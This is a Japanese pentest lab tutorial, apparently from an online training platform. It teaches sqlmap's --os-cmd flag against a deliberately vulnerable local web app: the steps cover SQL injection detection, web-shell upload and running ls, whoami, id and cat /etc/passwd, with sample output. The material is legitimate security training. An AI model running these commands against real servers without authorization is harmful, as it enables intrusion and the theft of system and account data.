はじめに
この実験では、ターゲットサーバー上でオペレーティングシステムコマンドを実行する sqlmap の強力な機能を探求します。この機能は、SQL インジェクションの脆弱性を特定し、基盤となるシステムをさらに侵害したいペネトレーションテストシナリオで特に役立ちます。--os-cmd フラグの使用方法、出力の分析、およびこのテクニックの制限について学びます。
OS コマンド実行の前提条件を確認する
このステップでは、sqlmap がインストールされており、SQL インジェクションの脆弱性を特定する方法について基本的な理解があることを確認します。sqlmap を介した OS コマンド実行は、通常、ターゲットシステムにファイルを書き込む能力(例:Web シェル)や、コマンド実行を許可する特定のデータベース関数を利用することに依存します。
まず、お使いのシステムに sqlmap がインストールされていることを確認してください。ターミナルを開き、以下のように入力します。
sqlmap --version
インストールされている sqlmap のバージョンを示す、以下のような出力が表示されるはずです。
sqlmap version 1.x.x.x ## x.x.x.x は実際のバージョンに置き換えてください
次に、ローカルのダミーWeb アプリケーションで SQL インジェクションの脆弱性を検出するために sqlmap を使用します。このアプリケーションは SQL インジェクションに対して脆弱になるように設定されています。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --batch --risk=3 --level=3
--batch フラグは、sqlmap を非対話モードで実行し、デフォルトの選択を受け入れるように指示します。--risk=3 と --level=3 は、sqlmap が実行するテストの深さを増加させます。これは、OS コマンド実行を可能にする可能性のあるものを含む、より複雑な脆弱性を見つけるためにしばしば必要となります。
コマンドを実行した後、sqlmap はさまざまなテストを実行します。SQL インジェクションの脆弱性が検出されたことを示す出力に注目してください。以下のような行が表示される場合があります。
---
[INFO] testing connection to the target URL
[INFO] checking if the target is stable
[INFO] target URL is stable
[INFO] testing if GET parameter 'id' is vulnerable to SQL injection
...
[INFO] GET parameter 'id' is vulnerable.
...
---
これにより、sqlmap が SQL インジェクションの脆弱性を正常に特定したことが確認され、これは OS コマンド実行を試みるための前提条件となります。
--os-cmd フラグを使用して単一コマンドを実行する
このステップでは、sqlmap の --os-cmd フラグを使用して、ターゲットサーバー上で単一のオペレーティングシステムコマンドを実行する方法を学びます。このフラグは、sqlmap がコマンドを実行する方法を特定した場合、通常は Web シェルをアップロードするか、データベース固有の関数を利用することによって使用されます。
--os-cmd を使用するための基本的な構文は次のとおりです。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="<command>" --batch
<command> を実行したい実際の OS コマンドに置き換えてください。sqlmap はこのコマンドを実行し、その出力を返そうとします。
Web アプリケーションが実行されている現在のディレクトリのファイルを一覧表示する ls のような簡単なコマンドを実行してみましょう。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="ls" --batch
sqlmap は次に以下の処理を行います。
- SQL インジェクションの脆弱性を検出します。
- OS コマンド実行に適したテクニック(例:Web シェルのアップロード)を見つけようとします。
lsコマンドを実行します。- コマンドの出力を取得して表示します。
進捗状況を示すさまざまな sqlmap メッセージが表示されます。例えば以下のようになります。
...
[INFO] trying to upload a web shell for OS command execution
[INFO] web shell uploaded to '/tmp/web_app/tmpbxxxx.php'
[INFO] executing OS command 'ls'
...
ls コマンドの出力は、sqlmap が正常に実行した後、表示されます。これにより、サーバー上で任意のコマンドを実行できる能力が実証されます。
whoami や id のような簡単なコマンドを実行する
このステップでは、whoami や id のような一般的な Linux コマンドを実行して、Web サーバープロセスが実行されているユーザーおよびグループのコンテキストに関する情報を収集します。この情報は、侵害されたシステムで利用可能な権限を理解するために不可欠です。
まず、whoami コマンドを実行してみましょう。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch
sqlmap が完了すると、whoami コマンドの出力が表示されます。これは通常、Web サーバー(例:www-data、apache、またはラボ環境の labex)が実行されているユーザー名になります。
...
[INFO] retrieved OS command output:
labex
...
次に、id コマンドを実行します。このコマンドは、ユーザーID(UID)、グループ ID(GID)、およびユーザーが属するすべてのグループを含む、より詳細な情報を提供します。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="id" --batch
id コマンドの出力は、以下のようなものになります。
...
[INFO] retrieved OS command output:
uid=1000(labex) gid=1000(labex) groups=1000(labex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
...
この出力を分析することで、利用可能な権限を理解するのに役立ちます。例えば、ユーザーが sudo グループに属している場合、権限昇格が可能になる可能性があります。
sqlmap が返すコマンド出力を分析する
このステップでは、sqlmap が実行された OS コマンドの出力をどのように表示するか、そして何に注目すべきかを理解することに焦点を当てます。sqlmap は、アップロードした Web シェル(またはその他の実行方法)からコマンドの出力を取得し、コンソールに表示します。
--os-cmd を使用してコマンドを実行すると、sqlmap は通常、次のような行を表示します。
[INFO] retrieved OS command output:
その後に、コマンドの実際の出力が続きます。例えば、ls -l /tmp を実行した場合、出力は次のようになります。
[INFO] retrieved OS command output:
total 8
-rw-r--r-- 1 labex labex 1234 Jan 1 10:00 somefile.txt
drwxr-xr-x 2 labex labex 4096 Jan 1 10:05 somedir
この出力を注意深く読むことが重要です。これにより、ターゲットシステムに関する直接的な洞察が得られます。例えば:
- ファイル一覧 (
ls,dir): ディレクトリ構造、ファイル名、権限を明らかにします。 - システム情報 (
uname -a,cat /etc/os-release): オペレーティングシステム、カーネルバージョン、ディストリビューションに関する詳細を提供します。 - ネットワーク設定 (
ip a,ifconfig): ネットワークインターフェース、IP アドレス、ネットワーク設定を表示します。 - プロセスリスト (
ps aux): 実行中のプロセスを一覧表示し、他のサービスやアプリケーションを示唆する可能性があります。
機密性の高いシステムファイルを取得できるかどうかを確認するために、cat /etc/passwd を実行することを検討してください。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="cat /etc/passwd" --batch
sqlmap の出力で /etc/passwd ファイルの内容が表示されます。このファイルにはユーザーアカウント情報が含まれており、偵察の一般的なターゲットです。
...
[INFO] retrieved OS command output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
labex:x:1000:1000:LabEx User,,,:/home/labex:/bin/zsh
...
この出力を分析することで、潜在的なユーザー、そのホームディレクトリ、およびデフォルトシェルを特定するのに役立ち、さらなる悪用に利用できる可能性があります。
非インタラクティブなコマンド実行の制限を理解する
このステップでは、sqlmap の --os-cmd フラグを使用して OS コマンドを実行する際の、特に非インタラクティブな性質に関する固有の制限を理解します。
--os-cmd フラグは単一のコマンドを実行し、その出力を返します。これは、通常の SSH やターミナルセッションのようなインタラクティブなシェルを提供するものではありません。これは以下のことを意味します。
- 永続的なセッションがない: 各
--os-cmdの実行は、新しく独立したリクエストです。コマンドを実行してから、その出力を同じ「セッション」内の次のコマンドの情報として使用することはできません。 - インタラクティブなプログラムがない: ユーザー入力や継続的な対話を必要とするプログラム(例:
nano、vi、top、passwd)を実行することはできません。 - 複雑な操作の制限: パイプ (
|) やセミコロン (;) を使用したコマンドの連鎖は可能ですが、複雑なワークフローや条件付きロジックの管理は煩雑になります。例えば、ls -l /tmp | grep "file"は機能しますが、ユーザーの対話を必要とする複数ステップのスクリプトは機能しません。 - エラー処理: エラーは通常、コマンド出力の一部として返されますが、インタラクティブなシェルがない場合、複雑な問題のデバッグは困難になる可能性があります。
これらの制限を克服するために、ペネトレーションテスターはしばしば sqlmap で --os-shell または --os-pwn を使用します(基盤となるデータベースと Web サーバーの設定でサポートされている場合)。これらのフラグは、半インタラクティブまたは完全にインタラクティブなシェルを確立しようとし、より複雑な操作を可能にします。しかし、--os-cmd は、迅速な偵察や単一の原子的なコマンドの実行に役立ちます。
例えば、通常は対話を必要とする nano のようなコマンドを実行してみてください。
sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="nano" --batch
nano はターミナルとユーザー入力を期待しますが、sqlmap はこの非インタラクティブモードでは提供できないため、おそらくエラーまたは意味のある出力がないでしょう。
...
[INFO] retrieved OS command output:
Error opening terminal: unknown.
...
これは、単一コマンドには強力である一方で、--os-cmd は完全なインタラクティブシェルの代替にはならないことを示しています。
まとめ
この実験では、sqlmap の --os-cmd フラグを使用してターゲットサーバー上でオペレーティングシステムコマンドを実行する方法を学びました。前提条件の確認から始め、ls、whoami、id、cat /etc/passwd のような簡単なコマンドの実行を練習しました。また、sqlmap が返すコマンド出力を分析する方法を理解し、さらに重要なことに、非インタラクティブなコマンド実行の制限を認識しました。このスキルは、Web アプリケーションのペネトレーションテストにおけるポストエクスプロイテーションフェーズの基本となります。


